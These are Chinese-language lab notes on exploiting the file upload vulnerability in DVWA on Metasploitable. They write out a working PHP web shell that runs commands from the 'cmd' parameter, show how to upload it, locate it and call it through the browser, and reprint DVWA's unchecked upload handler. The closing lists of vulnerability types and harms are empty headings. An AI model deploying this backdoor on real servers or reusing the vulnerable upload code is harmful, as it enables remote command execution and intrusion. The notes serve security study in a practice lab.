參考:Metasploitable 學習筆記-文件上傳漏洞( file upload) & Reverse Shell: 包含reverse shell
可以選擇檔案並上傳(預設應該是一個傳照片的系統)

vim simple-backdoor.php
i進入編輯模式,輸入檔案內容<?php
if(isset($_REQUEST['cmd'])){
                              echo "<pre>";
                              $cmd = ($_REQUEST['cmd']);
                              system($cmd);
                              echo "</pre>";
                              die;
}
?>

esc退出編輯模式,並輸入:wq保存結果
simple-backdoor.php並上傳
參考: 如何在 Linux 终端高效搜索文件——高级指南
參考 30日Linux學習系列 第 29 篇 Linux find指令
sudo find / -type d -name "<資料夾名稱>"可以搜尋該資料夾路徑(d 代表目錄,可以找到dvwa資料夾路徑
sudo -i,切換權限sudo find / -type d -name "hackable" ,尋找剛剛上傳資料夾的裸露路徑
cd /var/lib/docker/overlay2/414d260a84338dc69c8df81cb7c00e1e7b2113299390ee1aac99b75474336164/diff/var/www/html/hackable root@ip-172-31-52-110:/var/lib/docker/overlay2/414d260a84338dc69c8df81cb7c00e1e7b2113299390ee1aa

ls 印出檔案 --> 觀察到有 uploadscd uploads
ls 檢查內部檔案ls -al 顯示隱藏的檔案,驗證攻擊(可讀取敏感資訊)
../../hackable/uploads/simple-backdoor.php
http://127.0.0.1/DVWA/直接往後接即可?cmd=ls,即可達成web bash的效果驗證,可直接執行terminal並可以達成

<?php
if( isset( $_POST[ 'Upload' ] ) ) { // 檢查是否有 'Upload' 按鈕被按下
    // 我們將要寫入的目標路徑是哪裡?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 設定目標路徑
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 取得上傳檔案的名稱並附加到目標路徑上
    // 我們能將檔案移動到上傳的資料夾嗎?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // 如果無法移動檔案
        // 否
        echo '<pre>您的圖片未上傳成功。</pre>'; // 輸出錯誤訊息
    }
    else {
        // 是的!
        echo "<pre>{$target_path} 上傳成功!</pre>"; // 輸出成功上傳訊息
    }
}
?>




可以從web shell傳送terminal指令,達成reverse shell,為高危險層級的漏洞
檔案上傳漏洞的常見類型包括:
檔案上傳漏洞的危害包括: